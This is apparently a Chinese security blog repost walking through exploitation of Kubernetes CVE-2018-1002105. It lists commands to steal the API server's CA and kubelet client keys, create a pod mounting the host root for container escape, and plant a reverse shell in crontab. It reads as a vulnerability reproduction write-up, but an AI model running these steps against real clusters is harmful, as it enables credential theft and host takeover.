利用的过程
-
构造错误请求,建立kuberneetes API server代理到kubelet的高权限websocket连接。
-
利用高权限websokcet连接,向kubelet发起/runningpods/请求,获取当前存活pod列表。
-
在存活的pod例表中找到kubernetes API server的pod名称。
-
在利用之前的websokcet连接,向kubelet发起exec请求后,获取kubernetes API server的pod中读取ca.crt、apiserver-kubelet-client.crt、apiserver-kubelet-client.key 数据。
-
使用kubectl命令行工具,利用上面获取的4个文件,创建挂载了宿主根目录的恶意pod,来实现容器逃逸。
复现过程
正常访问https://ip:6443/api/v1/namespaces/role/pods/test/exec时因为我们设置了Bearer Token验证所以返回403。
这个时候我们需要进行构造加上Bearer Token(在请求头Authorizat加上Bearer 1234567890)利用exec接口的调用至少需要指定标准输入、标准输出或者错误输出的任意一个,所以没有对exec接口加上参数来达到构造错误请求。
使用脚本直接获取到namespaces下的kube-system的kube-apiserver中ca.crt、apiserver-kubelet-client.crt、apiserver-kubelet-client.key。
命令:python3 ./exploit.py --target xxx.xxx.xxx.xxx --port 6443 --bearer-token 1234567890 --namespace role --pod test |
然后使用获得到ca.crt、apiserver-kubelet-client.crt、apiserver-kubelet-client.key,创建恶意的pod。
命令:kubectl --server=https://ip:6443 --certificate-authority=ca.crt --client-certificate=apiserver-kubelet-client.crt --client-key=apiserver-kubelet-client.key apply -f attacker.yaml |
使用ls命令查看宿主机的磁盘是否挂载到了创建的恶意pod中mnt目录下
命令:kubectl --server=https://192.3.62.241:6443 --certificate-authority=ca.crt --client-certificate=apiserver-kubelet-client.crt --client-key=apiserver-kubelet-client.key exec myapp ls /mnt/root |
接下来只需要向/mnt/etc/crontab写入反弹shell就能使用拿到宿主机权限以达到提权。
#exploit.py https://github.com/Metarget/cloud-native-security-book/blob/main/code/0403-CVE-2018-1002105/exploit.pyin/hostname |
#attacker.yaml apiVersion:v1 |
原文始发于微信公众号(泾弦安全):K8S CVE-2018-100210权限提升漏洞(中)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论